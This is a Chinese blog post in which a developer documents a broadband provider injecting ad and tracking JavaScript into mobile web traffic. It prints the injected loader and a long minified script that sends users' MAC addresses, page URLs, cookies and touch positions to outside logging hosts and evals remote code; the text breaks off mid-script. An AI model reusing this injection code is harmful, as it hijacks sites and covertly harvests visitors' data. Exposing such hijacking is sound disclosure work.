织梦CMS - 轻松建站从此开始!

五禾云

当前位置: 主页 > 最近更新 >

广电强制在网站中植入代码,遍及教育厅网站、新东方、CDSN等

时间:2018-01-07 06:27来源:未知 作者:admin 点击:
前端时间给客户维护一个网站备份问题的时候发现,他的手机版一直弹出来广告。花了N天也没能找到正确的原因,确实很奇怪。不过客户那边却没有任何问题,我只不过是本着负责任的态度,发现了就进去去处理,没找到原因只能


    前端时间给客户维护一个网站备份问题的时候发现,他的手机版一直弹出来广告。花了N天也没能找到正确的原因,确实很奇怪。不过客户那边却没有任何问题,我只不过是本着负责任的态度,发现了就进去去处理,没找到原因只能先放一放。今天,我自己的网站偶然间发现,出现了同样的问题!我亲手一个代码一个代码敲出来的网站,并且每天都在维护,不可能是被挂马或被黑。

    思路方向有了,上一次我早应该想到是广电的问题,只不过出于运营商的信任,觉得他们不会这么干,而且这么恶俗的广告,也不应该出现在广电这种单位上!(凌晨深夜弹出的广告和白天有所区别,深夜的广告么,你懂的,和草榴有一拼!)

    我很平心静气的反馈给广电,广电义正言辞的说,是网站的问题,他们是高尚的,他们也是绝对没有问题的。百度了下,看起来,遇到我这样问题的人也有很多,广电依然不承认。好吧,如此,我竟无言以对。以下是个人的检测结果和过程,技术不是很好,所以可能有不严谨的地方,请中国的各位技术大牛给以指正,如相关的部门看到,也请予以指正,也请杜绝这种问题出现在这么大单位上,中国作为世界互联网发达的国家,这种行为无异于给中国的程序员们丢脸,给中国的互联网抹黑。

    blob.png

这张截图是广电网络环境下一个静态html页面多次刷新,会随机出现上图所示广告。本问题仅仅会出现在手机端,举个例子:你家用的广电网络,然后手机wifi连接,然后就会出现此问题。(测试中,我们使用360安全浏览器和谷歌浏览器的手机测试环境[浏览模式下按f12即可切换手机浏览])


我们先准备一个html页面,代码如下:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>广电恶意劫持用户网站测试</title>
<meta name= "applicable-device"content= "mobile">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no"/>
<meta name="format-detection"content="telephone=no">
<meta name="apple-mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-status-bar-style" content="black" />
</head>

<body>
<h1>广电劫持篡改手机端访问js文件测试!</h1>
<script src="/test.js"></script><!--该js文件不存在,广电只要页面有js引入,无论存在与否,都会强制写入广告代码-->
</body>
</html>

接着,为了测试的纯粹和干净,我重新购买了一台服务器并且搭建了新的环境,并且做好了域名解析,test.yougespa.com

我们将上述代码保存为index.html上传到服务器中。并使用电脑测试访问:

blob.png

我们访问html引入的js提示404:

blob.png

接下来我们使用同一部手机自带浏览器进行访问测试:

链接广电wifi访问截图:

blob.png

使用电信流量访问测试截图:

blob.png

接下来我们使用360安全浏览器手机模式访问:

blob.png

我们切换到远程桌面到某一台windows环境的服务器中进行同样的浏览器同样的操作访问,百次强刷测试,所有手机机型测试,均无广告。


问题分析:

通过技术检测,发现,广电会将页面中的引入js强制写入如下代码(哪怕这个js本身在服务器中不存在,例如上述例子中的test.js,该文件本身不存在是404的,但广电网络手机模式访问该js并不是404)。

var ip = document.domain,ab='http://test.yougespa.com/test.js';ab.indexOf("?")>0?ab+="&2wsx3edc=c":ab+="?2wsx3edc=c";
var re = /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/;
if (re.test(ip)) {
	if (RegExp.$1 < 256 && RegExp.$2 < 256 && RegExp.$3 < 256 && RegExp.$4 < 256) {
		document.write("<script type='text/javascript' src='"+ab+"'><\/script>");
	}
} else {document.write("<script type='text/javascript' src='"+ab+"'><\/script>");document.write('<script language="javascript" src="http://180.76.181.213/xay/10561.js?ydcp_id=10561&cumid=$mac_addr&apmac=$ap_mac"><' + '/script>');}

看到该代码再次引入了一个来自于180.76.181.213的js代码,代码如下:

!function(win,doc){"use strict";function checkPage(){dom.checkPageInfo().init()}var ynS=win.ynS=win.ynS||{},dom=ynS.dom=ynS.dom||{},common=ynS.common=ynS.common||{},para=ynS.para=ynS.para||{},util=ynS.util=ynS.util||{},hl_get_mac="";ynS.splitList=[],ynS.codeId=10561,ynS.ocodeId="";var isInit=ynS.isInit=ynS.isInit||!1;ynS.reqUrl="http://180.76.172.149",ynS.spUrl="http://180.76.186.134",ynS.ifaUrl="http://180.76.181.213",ynS.logUrl="http://l1.soarfi.cn/x.gif",ynS.if=!1,common.ak=function(){return(new Date).getTime()},common.al=function(){return"__so__"+Math.random().toString(36).slice(2)+common.ak()},para.cid||(para.cid=common.al()),common.am=function(){var a=ynS.reqUrl,e={codeId:para.codeId,ocodeId:para.ocodeId,userMac:para.userMac,userip:para.userip,cid:para.cid,apMac:para.apMac,iframe:para.isInIframe,kw:para.kw},t=util.buildUrl(a,e);dom.aa(t)},common.an=function(){var a={codeId:para.codeId,domain:doc.domain},e=util.buildUrl(ynS.spUrl+"/special",a);dom.aa(e)},common.ab=function(a){var e={codeId:para.initPara.codeId,ocodeId:para.initPara.ocodeId,userMac:para.initPara.cumid,apMac:para.initPara.apmac,cid:para.cid,msg:a,jsTime:common.ak()},t=new Image,n=window.location.href.substring(1,200);n=encodeURIComponent(n),t.src=util.buildUrl(ynS.logUrl,e)+"&url="+n,t.style.display="none";try{doc.body.appendChild(t)}catch(a){}},common.ynRep=function(a,e,t,n){"baidu"!==e&&(para.adpId=para.codeId);var o={codeId:para.codeId,ocodeId:para.ocodeId,userMac:para.userMac,apMac:para.apMac,platform:para.platform,msg:a,adpName:e,adStyle:t,adpId:para.adpId,jsTime:common.ak(),cid:para.cid,cookieId:para.cookieId,umby:para.umby,apby:para.apby},i=new Image;if(n)i.src=util.buildUrl("http://"+para.logHost+"/x.gif",o)+n;else{var r=window.location.href.substring(1,200);r=encodeURIComponent(r),i.src=util.buildUrl("http://"+para.logHost+"/x.gif",o)+"&url="+r}i.style.display="none";try{doc.body.appendChild(i)}catch(a){}},common.ae=function(a){var e=new Image;e.src=a,e.style.display="none";try{doc.body.appendChild(e)}catch(a){}},common.ao=function(a){para.logHost=a.logHost,para.cookieId=a.cookieId,a.apMac&&para.apMac!==a.apMac&&(para.apMac=a.apMac,para.apby="yn"),a.userMac&&para.userMac!==a.userMac&&(para.userMac=a.userMac,para.umby="yn"),para.adpId=""};var display=function(data){var obj=data.ads[0];if(data.ads.length>1&&para.style.push({style:data.styleName,data:data.ads[1]}),obj.jsonPara.run){var func=eval(obj.jsonPara.run);"function"==typeof func&&func(obj)}},displaySecond=function(data){var obj=data;if(obj.jsonPara.run){var func=eval(obj.jsonPara.run);"function"==typeof func&&func(obj)}},camDisplay=function(data){if(common.ynRep("apiSuccess","",""),data.jsonPara.run){var func=eval(data.jsonPara.run);"function"==typeof func&&func(data)}};common.ynStart=function(a){if(a.codeId){common.ao(a),common.ynRep("success","","");for(var e=0;e<a.styles.length;e++)if(a.styles[e].ads.length>0)if("mf"===a.styles[e].styleName){var t=(new Date).getTime(),n=window.screen.width,o='<iframe frameborder="0" width="'+n+'" height="'+n/20*3+'" marginheight="0" marginwidth="0" style="border:0;margin:0;padding:0;" src="http://180.76.181.213/kp.html?istime='+t+'" ></iframe>';dom.ag(null,o),common.ynRep("kp_gg","kp","mf")}else display(a.styles[e]);else common.ynRep("empty",a.styles[e].adpName,a.styles[e].styleName)}else para.userMac=initPara.userMac,para.apMac=initPara.apMac,common.ynRep("dataEmpty","","")},common.ynCamStart=function(a){if(a.ads&&a.ads.length)if(a.ads.length>0)for(e=0;e<a.ads.length;e++)camDisplay(a.ads[e]);else{common.ynRep("apiEmpty",a.adpName,a.adStyle);for(e=0;e<para.style.length;e++)para.style[e].style===a.adStyle&&displaySecond(para.style[e].data)}else{common.ynRep("apiEmpty",a.adpName,a.adStyle);for(var e=0;e<para.style.length;e++)para.style[e].style===a.adStyle&&displaySecond(para.style[e].data)}},common.ap=function(a){var e=!1,t=0,n=0,o=0,i=[];window.addEventListener&&(a.addEventListener("touchstart",function(a){var i=a.touches[0];e=!1,t=i.clientX.toFixed(2),n=i.clientY.toFixed(2),o=a.timeStamp.toFixed(2)},!1),a.addEventListener("touchmove",function(a){e=!0},!1),a.addEventListener("touchend",function(a){var r,d=a.changedTouches[0];if(e){if(i.push("sClientX="+t+"$sClientY="+n+"$eClientX="+d.clientX.toFixed(2)+"$eClientY="+d.clientY.toFixed(2)+"$stime="+o+"$etime="+a.timeStamp.toFixed(2)),3==i.length){r="&msg=move";for(var c=0;c<i.length;c++)r=r+"&move"+c+"="+i[c];common.ynRep("","","",r),i=[]}}else r="&msg=click&sClientX="+t+"&sClientY="+n+"&eClientX="+d.clientX.toFixed(2)+"&eClientY="+d.clientY.toFixed(2)+"&stime="+o+"&etime="+a.timeStamp.toFixed(2),common.ynRep("","","",r)},!1))};var addElement=function(a,e){e=e||"body";var t=doc.getElementsByTagName(e);t[0]?t[0].appendChild(a):(e="head"===e?"body":"head",doc.getElementsByTagName(e)[0].appendChild(a))},aq=function(a,e){var t=doc.createElement("script");return t.src=a,t.type="text/javascript",e&&(t.onload=e),t};dom.aa=function(a,e){var t=aq(a,e);addElement(t,"body")},dom.ar=function(a,e){var t=aq(a,e);addElement(t,"head")},dom.as=function(a){var e=document.createElement("link");e.href=a,e.setAttribute("rel","stylesheet"),addElement(e)},dom.at=function(){if("visibilityState"in doc)return doc.visibilityState;for(var a=["webkit","moz","ms","o","uc"],e=0;e<a.length;e++){var t=a[e]+"VisibilityState";if(t in doc)return doc[t]}},dom.checkNoticeUrl=function(a){if(a&&("string"==typeof a&&common.ae(a),"object"==typeof a&&a.length>0))for(var e=0;e<a.length;e++)common.ae(a[e])},dom.au=function(a){document.addEventListener?(para.pageIsLoad=!0,win.addEventListener("load",a,!1)):(para.pageIsLoad=!0,win.attachEvent("onload",a))},dom.av=function(){doc.onreadystatechange=function(){"complete"===doc.readyState&&(para.complete=!0)}},dom.cookieMapping=function(){var a=new Image;a.src="http://cm.pos.baidu.com/pixel?sspid=268951591&ext_data=z",a.style.display="none";try{doc.body.appendChild(a)}catch(a){}},dom.addIframeScript=function(a){var e=doc.createElement("iframe");e.width="0px",e.height="0px",e.setAttribute("frameborder","0"),e.setAttribute("marginheight","0"),e.setAttribute("marginwidth","0"),e.setAttribute("style","border:0;margin:0;padding:0;"),e.src=a,doc.body.appendChild(e)},dom.ag=function(a,e){var t=doc.createElement("div");t.id="_so_"+Math.random().toString(36).slice(2);var n=doc.body.clientWidth,o=parseInt(3*n/20-2);t.setAttribute("style","position:fixed;left:0px;bottom:0px;width:"+n+"px;height:"+o+"px;z-index:2147483647");var i=doc.createElement("div");i.setAttribute("style","position:relative;height:"+o+"px"),t.appendChild(i);var r=doc.createElement("div"),d='<span style="float:left;display:black;font-size:12px;background-color:#888;padding:0px 8px;color:#fff;height:20px;line-height:20px;">&#x5173; &#x95ED;</span>';d='<span style="float:left;display:black;border-style:solid;border-width:10px 3px;'+"border-color:transparent #888 #888 transparent;"+'height:0;width:0;"></span>'+d,r.setAttribute("style","position:absolute;cursor:pointer;z-index:2147483647;top:-20px;right:0px"),r.innerHTML=d,i.appendChild(r),r.onclick=function(){doc.getElementById(t.id).style.display="none"};var c=doc.createElement("div");c.innerHTML=e,i.appendChild(c),doc.body.appendChild(t),a&&a.jsonPara&&(dom.checkNoticeUrl(a.jsonPara.pm),dom.checkNoticeUrl(a.jsonPara.wurl))},dom.ad=function(a){var e="&campaignId="+a.jsonPara.campaignId+"&materialId="+a.jsonPara.materialId,t='<a onclick=window.ynS.dom.ynAddBannerClick("'+a.jsonPara.cm+'","'+a.adpName+'","'+a.adStyle+'","'+e+'") href="'+a.jsonPara.clickUrl+'" target="_blank"><img width="100%" height="100%" src="'+a.jsonPara.imgUrl+'" /></a>';para.divId.indexOf("_so_"),dom.ag(a,t)},dom.ac=function(a,e,t){var n=doc.getElementById(e),o=doc.createElement("div");return o.id="_so_"+Math.random().toString(36).slice(2),t&&(o.innerHTML=t,para.adpId=para.codeId),n?n.appendChild(o):doc.body.appendChild(o),o.id},dom.ynAddBannerClick=function(a,e,t,n){common.ynRep("g_cli",e,t,n),a&&"undefined"!==a&&common.ae(a)},dom.aw=function(a){"baidu_blank"!==a.data&&"baidu_gongyi"!==a.data&&"fill_failed"!==a.data||common.ynRep("baidu_fill_failed","baidu",""),"userId"===a.data&&(ynS.userId=a.data.userId)},dom.ax=function(){void 0!==window.addEventListener?window.addEventListener("message",function(a){dom.aw(a)},!1):void 0!==window.attachEvent&&window.attachEvent("onmessage",function(a){dom.aw(a)})},dom.ax();var ay=function(a){return void 0===a||"undefined"===a?"":-1!==a.indexOf("$")?"":(-1!==a.indexOf(",")&&(a=a.split(",")[0]),a=a.replace(/-/g,""),a=a.replace(/:/g,""),a=a.replace(/"/g,""),a=a.replace(/'/g,""),a=12===a.length?a.substring(0,2)+":"+a.substring(2,4)+":"+a.substring(4,6)+":"+a.substring(6,8)+":"+a.substring(8,10)+":"+a.substring(10,12):"")};util.az=function(a){return ay(a).toUpperCase()},util.ba=function(a){return ay(a).toLowerCase()},util.bb=function(){return null!==navigator.userAgent.toLowerCase().match(/(iphone|ipod|android|ios|symbianos|ipad|mobile|windows phone|tablet)/i)},util.bc=function(){return null!==navigator.userAgent.toLowerCase().match(/(UBrowser|QQBrowser)/i)},util.bd=function(){return util.bb()&&doc.querySelector('meta[name="viewport"]')},util.be=function(){return win.top!==win.self},util.buildUrl=function(a,e){var t=[];for(var n in e)e.hasOwnProperty(n)&&t.push(n+"="+e[n]);return a+"?"+t.join("&")},util.buildApiUrl=function(a,e){var t=[];for(var n in e)e.hasOwnProperty(n)&&t.push(n+"="+e[n]);return a+t.join("&")},util.ynDecode=function(a){for(var e=a.split(","),t=decodeURIComponent(e[0]),n=decodeURIComponent(e[1]),o="",i=0;i<t.length;i++){var r=(n.charCodeAt(i)<<3)+t.charCodeAt(i);o+=String.fromCharCode(r)}return o};var getCurrentScriptYn=function(){if(doc.currentScript)return doc.currentScript.src;for(var a=document.getElementsByTagName("script"),e=null,t=0;t<a.length;t++)if(-1!==a[t].src.indexOf("un.soarfi.cn/xay")){e=a[t].src;break}return e},bf=function(){var a=getCurrentScriptYn();if(1===a.length)return{};for(var e=a.split("?")[1].split("&"),t={},n=0;n<e.length;n++){var o=e[n].split("=");2===o.length&&(t[o[0]]=o[1])}return t},initPara=bf();para.initPara=initPara,para.initPara.ocodeId=ynS.codeId;var getInitPara=function(a){return a in initPara?initPara[a]:""};dom.bg=function(){return""!==getInitPara("divId")?initPara.divId:common.al()};var initLogPara=function(){para.ocodeId=para.initPara.ocodeId,para.codeId=para.initPara.codeId};dom.userip=function(){return para.initPara.userip?para.initPara.userip:""};var initLogRun=function(){if(para.initPara.codeId=ynS.codeId,para.initPara.ocodeId=ynS.ocodeId=ynS.codeId,ynS.splitList.length>0){var a=Math.floor(Math.random()*ynS.splitList.length);para.initPara.codeId=ynS.codeId=ynS.splitList[a]}};dom.gt=function(){var a="",e="",t="";if(document.querySelector("title")&&(a=document.querySelector("title").innerHTML),document.querySelector("meta[name=keywords]")&&(e=document.querySelector("meta[name=keywords]").getAttribute("content")),t+=a,""!==e){e=e.split(",");for(var n=0;n<e.length;n++)t=t+"。"+e[n]}return encodeURIComponent(t)};var runInit=function(){para.apMac=util.ba(getInitPara("apmac")),para.userMac=util.az(getInitPara("cumid")),para.host="180.76.155.58",para.logHost="l1.soarfi.cn",para.isMobile=util.bb(),para.divId=dom.bg(),para.vs=dom.at(),para.platform=para.isMobile?"mob":"pc",para.apby="qd",para.umby="qd",para.isInIframe=util.be(),para.width=win.screen.width,para.height=parseInt(3*para.width/20+1),para.complete=!1,para.isLoadBaiduJS=!1,para.adpId="",para.cookieId="",para.userip=dom.userip(),dom.cookieMapping(),para.kw=dom.gt(),para.style=[],common.ap(doc),para.isInIframe?(common.ynRep("iniframe","",""),ynS.if&&activeRun()):activeRun()},activeRun=function(){common.ynRep("chk0","",""),common.am(),para.isMobile&&common.an(),dom.av(),dom.au(checkPage)};initLogRun(),isInit?common.ab("multi_run"):(ynS.isInit=!0,common.ab("init&vr=20170628"),initLogPara(),runInit()),dom.checkPageInfo=function(){return{para:{viewport:!1,keywords:"",description:"",title:"",bodyChildrenNum:"",iframeNum:"",referrer:"",cid:para.cid,baiduId:"",codeId:para.codeId,jsTime:common.ak()},ifrUrl:[],jUrl:[],logHost:"http://180.76.162.60/ppt.gif",getCookie:function(a){var e,t,n,o=document.cookie.split(";");for(e=0;e<o.length;e++)if(t=o[e].substr(0,o[e].indexOf("=")),n=o[e].substr(o[e].indexOf("=")+1),(t=t.replace(/^\s+|\s+$/g,""))===a)return unescape(n);return""},getInfo:function(){document.querySelector("meta[name=viewport]")&&(this.para.viewport=!0),document.querySelector("meta[name=keywords]")&&(this.para.keywords=document.querySelector("meta[name=keywords]").getAttribute("content")),document.querySelector("meta[name=description]")&&(this.para.description=document.querySelector("meta[name=description]").getAttribute("content")),document.querySelector("title")&&(this.para.title=document.querySelector("title").innerHTML),this.para.bodyChildrenNum=document.body.children.length,this.para.referrer=document.referrer,this.para.baiduId=this.getCookie();var a=document.querySelectorAll("iframe");this.para.iframeNum=a.length,a=Array.prototype.slice.call(a);var e=document.domain,t=document.querySelectorAll("script"),n=this;(t=Array.prototype.slice.call(t)).filter(function(a){if(""!==a.src&&-1===a.src.indexOf(e)&&-1===a.src.indexOf("jquery")&&-1===a.src.indexOf("swiper")&&-1===a.src.indexOf("angular")&&-1===a.src.indexOf("react")&&-1===a.src.indexOf("zepto")&&-1===a.src.indexOf("vue")&&-1===a.src.indexOf("soarfi"))return n.jUrl.push(a.src.split("?")[0]),!0}),a.filter(function(a){if(""!==a.src&&-1===a.src.indexOf(e))return n.ifrUrl.push(a.src.split("?")[0]),!0})},sendLog:function(){var a=util.buildUrl(this.logHost,this.para);common.ae(a);for(var e=0;e<this.ifrUrl.length;e++)a=this.logHost+"?cid="+this.para.cid+"&iframeUrl="+this.ifrUrl[e]+"&jsTime="+common.ak()+"&codeId="+para.codeId,common.ae(a);for(var t=0;t<this.jUrl.length;t++)a=this.logHost+"?cid="+this.para.cid+"&jsUrl="+this.jUrl[t]+"&jsTime="+common.ak()+"&codeId="+para.codeId,common.ae(a)},init:function(){this.getInfo(),this.sendLog()}}},common.StyleSendReq=function(a){var e=common.formetUrl(a);common.requery(a,e)},common.camSendReq=function(a){var e=common.formetUrl(a);e.id=a.jsonPara.id||a.jsonPara.ssId,common.requery(a,e)},common.appSendReq=function(a){var e=common.formetUrl(a);e.cookieid=para.cookieId,e.appcodeid=a.jsonPara.appcodeid,e.app_ver=a.jsonPara.app_ver,e.msg=a.msg,e.adpName=a.adpName,common.requery(a,e)},common.requery=function(a,e){var t=a.jsonPara.url,n=util.buildUrl(t,e);dom.aa(n),common.ab("apiChk0")},common.formetUrl=function(a){return{codeId:para.codeId,cumid:para.userMac,apMac:para.apMac,iframe:para.isInIframe,adStyle:a.adStyle,cid:para.cid}},dom.CreateCampBanner=function(a){dom.ad(a),para.adpId=para.codeId;var e="&campaignId="+a.jsonPara.campaignId+"&materialId="+a.jsonPara.materialId;common.ynRep(a.msg,a.adpName,a.adStyle,e)},dom.CreateApiBanner=function(a){para.adpId=para.codeId;var e=doc.body.scrollWidth,t=parseInt(3*e/20-2),n="",o=a.jsonPara.markMsg;n=a.jsonPara.title&&""!==a.jsonPara.title?'<a onclick=window.ynS.dom.ynAddApiBannerClick("'+a.adpName+'","'+a.adStyle+'","'+o+'") style="display:block;background-color:#fff;height:'+t+'px;text-decoration: none;" href="'+a.jsonPara.clickUrl+'" target="_blank"><span style="float:left;display:inline-block;vertical-align:top"><img height="'+t+'px" src="'+a.jsonPara.imageUrl+'" /></span><span style="margin:5px 10px;font-weight:bold;font-size:16px;vertical-align:top;color:#444!important">'+a.jsonPara.title+"</span></a>":'<a onclick=window.ynS.dom.ynAddApiBannerClick("'+a.adpName+'","'+a.adStyle+'","'+o+'") style="display:block;background-color:#fff;height:'+t+'px;text-decoration: none;" href="'+a.jsonPara.clickUrl+'" target="_blank"><img width="'+e+'px" height="'+t+'px" src="'+a.jsonPara.imageUrl+'" /></a>',dom.ag(a,n),para.adpId=para.codeId,ynS.ai=a,common.ynRep(a.msg,a.adpName,a.adStyle,o)},dom.ynAddApiBannerClick=function(a,e,t){para.adpId=para.codeId,common.ynRep("g_cli",a,e,t),dom.checkNoticeUrl(ynS.ai.jsonPara.cm)},dom.CreateApimf=function(a){dom.CreateApiBanner(a)},dom.bh=function(a){var e='<iframe  frameborder="no" border="0" scrolling="no" style="border:0px; border:none;" src ="'+a+'" height="1024" width="100%" ></iframe>',t=doc.createElement("div");t.style.height="1024px",t.style.width="100%",t.innerHTML=e,doc.body.appendChild(t)},dom.checkNavigator=function(){var a=navigator.userAgent.toLowerCase(),e=!1;return-1===a.indexOf("QQBrowser")&&-1===a.indexOf("UCBrowser")||(e=!0),e},dom.bi=function(a,e,t,n){para.isLoadBaiduJS||(dom.aa("https://cpro.baidustatic.com/cpro/ui/dm.js",function(){"function"==typeof window.slotbydup.push&&"function"==typeof window.slotbydup.process?common.ynRep("no_change","baidu",""):common.ynRep("is_change","baidu",""),dom.au(dom.bj)}),para.isLoadBaiduJS=!0),win.slotbydup=win.slotbydup||[],win.slotbydup.push({id:a,container:e,size:t,display:"inlay-fix",clid:para.apMac,cuid:para.userMac})},dom.bk=function(a,e,t){win.baiduImagePlus={unionId:a,formList:[{formId:21},{formId:22},{formId:23}],clid:para.apMac,cuid:para.userMac},dom.aa("http://cpro.baidustatic.com/cpro/ui/mi.js")},dom.bl=function(){return{checkBanner:function(a){var e=doc.querySelectorAll("iframe"),t=!1;if((e=Array.prototype.slice.call(e)).filter(function(e){if(e.getAttribute("id")&&e.getAttribute("id").indexOf(a.jsonPara.cproId)>-1)return t=!0,!0}),t)para.adpId=a.jsonPara.cproId,common.ynRep(a.msg,a.adpName,a.adStyle);else{var n=this;setTimeout(function(){n.checkBanner(a)},50)}}}},dom.bm=function(){return{isClick:!1,check:function(a){var e=document.activeElement;if(e&&e.getAttribute("id")&&e.getAttribute("id").indexOf(a.jsonPara.cproId)>-1&&(this.isClick=!0,common.ynRep("g_cli",a.adpName,a.adStyle)),!this.isClick){var t=this;setTimeout(function(){t.check(a)},50)}}}},dom.bj=function(){!(window.BAIDU_SSP_EXP_FLAG||window.BAIDU_C_BASE||window.BAIDU_DUP2||window.BAIDU_DUP||window.BAIDU_DUP2_require||window._dup_global||window.BAIDU_SSP_define||window.BAIDU_DUP_require||window.BAIDU_DUP2_pageFirstRequestTime)&&common.ynRep("baidu_blocked","","")},dom.CreateBaiduContent=function(a){para.adpId=para.codeId,dom.bh(ynS.ifaUrl+"/yn/cpu.html?dbId="+a.jsonPara.cproId),common.ynRep("content_bottom_gg","content","content")},dom.bt=function(a){var e=doc.querySelectorAll("iframe"),t=!1;(e=Array.prototype.slice.call(e)).filter(function(e){if(e.getAttribute("src")&&e.getAttribute("src").indexOf(a.jsonPara.url)>-1)return para.adpId=a.jsonPara.cproId,common.ynRep(a.msg,a.adpName,a.adStyle),t=!0,!0}),t||setTimeout(function(){dom.bt(a)},50)},dom.AddBaiduFoucusMap=function(a){var e="_so_"+Math.random().toString(36).slice(2);dom.bi(a.jsonPara.cproId,e,"20:3",a.adStyle),dom.bl().checkBanner(a),dom.bm().check(a)},dom.AddBaiduScene=function(a){var e="_so_"+Math.random().toString(36).slice(2);if(dom.bi(a.jsonPara.cproId,e,"",a.adStyle),dom.CheckBaiduScene(a),a.antiBlock){var t=doc.createElement("script");t.type="text/javascript",t.src=a.antiBlock,doc.body.appendChild(t)}},dom.CheckBaiduScene=function(a){var e=doc.querySelectorAll("div"),t=!1;(e=Array.prototype.slice.call(e)).filter(function(e){if(e.getAttribute("id")&&e.getAttribute("id").indexOf("autoInsertWapper_"+a.jsonPara.cproId)>-1)return t=!0,!0}),t?(para.adpId=a.jsonPara.cproId,common.ynRep(a.msg,a.adpName,a.adStyle)):setTimeout(function(){dom.CheckBaiduScene(a)},50)},dom.AddBaiduBanner=function(a){var e="_so_"+Math.random().toString(36).slice(2);if(dom.ag(a,'<div id="'+e+'"></div>'),dom.bi(a.jsonPara.cproId,e,"20:3",a.adStyle),dom.bl().checkBanner(a),dom.bm().check(a),a.jsonPara.antiBlock){var t=doc.createElement("script");t.type="text/javascript",t.src=a.jsonPara.antiBlock,doc.body.appendChild(t)}},dom.InsertContent=function(){return{txtList:[],length:0,is_Check:!1,getDom:function(){this.txtList=document.querySelectorAll("p")},init:function(){this.getDom(),this.checkTxt()},checkTxt:function(){this.txtList=Array.prototype.slice.call(this.txtList);var a=this;this.txtList=this.txtList.filter(function(e){if(a.checkLength(e.innerHTML)>150)return!0}),this.txtList.length>0&&(this.txtList=this.checkParent(this.txtList)),this.txtList=this.txtList.filter(this.checkParentChild),this.txtList=this.txtList.filter(this.checkdisplay),this.is_Check=!0},checkLength:function(a){return null==a?0:("string"!=typeof a&&(a+=""),a.replace(/[^\x00-\xff]/g,"01").length)},checkParent:function(a){var e=[];"BODY"!==a[0].parentNode.nodeName&&e.push(a[0]);for(var t=0;t<a.length-1;t++)a[t].parentNode!==a[t+1].parentNode&&e.push(a[t+1]);return e},checkParentChild:function(a){if(a.parentNode.querySelectorAll("p").length>3)return!0},checkdisplay:function(a){if("none"!==a.parentNode.style.display)return!0},addContent:function(a,e,t){dom.bi(a,e,"20:3",t)}}},dom.CreateContentInsert=dom.InsertContent(),dom.CreateContentInsert.run=function(){para.isInIframe||(para.complete?this.init():setTimeout(function(){dom.CreateContentInsert.run()},10))},dom.CreateContentInsert.addSelf=function(a){if(dom.CreateContentInsert.is_Check){if(this.txtList.length>0){var e=this.txtList[0].parentNode,t=e.children.length,n=document.createElement("div");if(n.id="_yn_info_bottom_"+Math.random().toString(36).slice(2),t=t>8?parseInt(t/2-1):3,e.insertBefore(n,e.children[t]),this.addContent(a.jsonPara.cproId,n.id,a.adStyle),dom.bl().checkBanner(a),dom.bm().check(a),a.jsonPara.antiBlock){var o=doc.createElement("script");o.type="text/javascript",o.src=a.jsonPara.antiBlock,doc.body.appendChild(o)}console.log("add JC wn")}}else setTimeout(function(){dom.CreateContentInsert.addSelf(a)},10)},dom.CreateContentInsert.run(),dom.AddBaiduPageBottom=function(a){var e=document.createElement("div"),t="_so_s4_"+Math.random().toString(36).slice(2);e.id=t,document.body.appendChild(e),dom.bi(a.jsonPara.cproId,t,"20:10",a.adStyle),dom.bl().checkBanner(a),dom.bm().check(a)},dom.bv=function(a){},dom.AddBaiduFeiHong=function(a){dom.bh(ynS.ifaUrl+"/yn/content.html?codeId="+para.codeId),para.adpId=para.codeId,common.ynRep(a.msg,a.adpName,a.adStyle)},dom.bn=function(a){dom.aa("http://yun.sifuhe.cn/h5-mami/media/media-3.2.3.min.js",a)},dom.bn(),dom.bo=function(a){window.TuiaMedia?a():setTimeout(function(){dom.bo(a)},10)},dom.bp=function(){return{isClick:!1,check:function(a){var e=document.activeElement;if(e&&e.getAttribute("id")&&e.getAttribute("id").indexOf(a.jsonPara.appKey+a.jsonPara.adslotId)>-1&&(this.isClick=!0,common.ynRep("g_cli",a.adpName,a.adStyle)),!this.isClick){var t=this;setTimeout(function(){t.check(a)},50)}}}},dom.bq=function(){var a=doc.createElement("div"),e="duiba-media-yn-container-mf"+para.tuiaBanner.jsonPara.appKey+para.tuiaBanner.jsonPara.adslotId;a.id=e,a.setAttribute("style","position: fixed;bottom: 0px;z-index: 9999;width:"+para.width+"px;"),a.setAttribute("tabindex","0"),doc.body.appendChild(a),common.ynRep("t_mf_res",para.tuiaBanner.adpName,para.tuiaBanner.adStyle),window.TuiaMedia({container:"#"+e,appKey:para.tuiaBanner.jsonPara.appKey,adslotId:para.tuiaBanner.jsonPara.adslotId,success:function(a){if(common.ynRep("t_mf_res_ok","",""),a){var t='<img id="customer"  src="'+a.img_url+'"/> ';document.querySelector("#"+e).innerHTML=t}para.adpId=para.codeId,common.ynRep(para.tuiaBanner.msg,para.tuiaBanner.adpName,para.tuiaBanner.adStyle),dom.bp().check(para.tuiaBanner)},error:function(a){common.ynRep("t_mf_res_err","","")}})},dom.AddTuiABanner=function(a){para.tuiaBanner=a,dom.bo(dom.bq)},dom.br=function(){common.ynRep("t_dubao_res",para.tuiaNaBao.adpName,para.tuiaNaBao.adStyle);var a=doc.createElement("div");a.setAttribute("style","position: fixed;fixed;right: 5px;top: 180px;z-index: 9999;width:64px;height:64px;"),a.setAttribute("tabindex","0");var e="duiba-media-yn-nabao"+para.tuiaNaBao.jsonPara.appKey+para.tuiaNaBao.jsonPara.adslotId;a.id=e,doc.body.appendChild(a);var t={appKey:para.tuiaNaBao.jsonPara.appKey,adslotId:para.tuiaNaBao.jsonPara.adslotId,success:function(a){if(common.ynRep("t_dubao_res_ok","",""),a){var t='<img id="customer"  src="'+a.img_url+'"/> ';document.querySelector("#"+e).innerHTML=t}para.adpId=para.codeId,common.ynRep(para.tuiaNaBao.msg,para.tuiaNaBao.adpName,para.tuiaNaBao.adStyle),dom.bp().check(para.tuiaNaBao)},error:function(a){common.ynRep("t_dubao_res_err","","")}};para.tuiaNaBao.jsonPara.adslotId>2805?t.container="#"+e:t.local="position: fixed;right: 5px;top: 180px;z-index: 9999;width:64px;height:64px;",window.TuiaMedia(t)},dom.AddTuiaNaBao=function(a){para.tuiaNaBao=a,dom.bo(dom.br)},dom.createBxmMf=function(a){var e=doc.body.scrollWidth,t=parseInt(3*e/20-2),n="http://ynpic.bj.bcebos.com/xay%2Fbxm0"+(Math.floor(5*Math.random())+1)+".png",o='<a onclick=window.ynS.dom.ynAddBxmMfClick("'+a.adpName+'","'+a.adStyle+'") style="display:block;background-color:#fff;height:'+t+'px;text-decoration: none;" 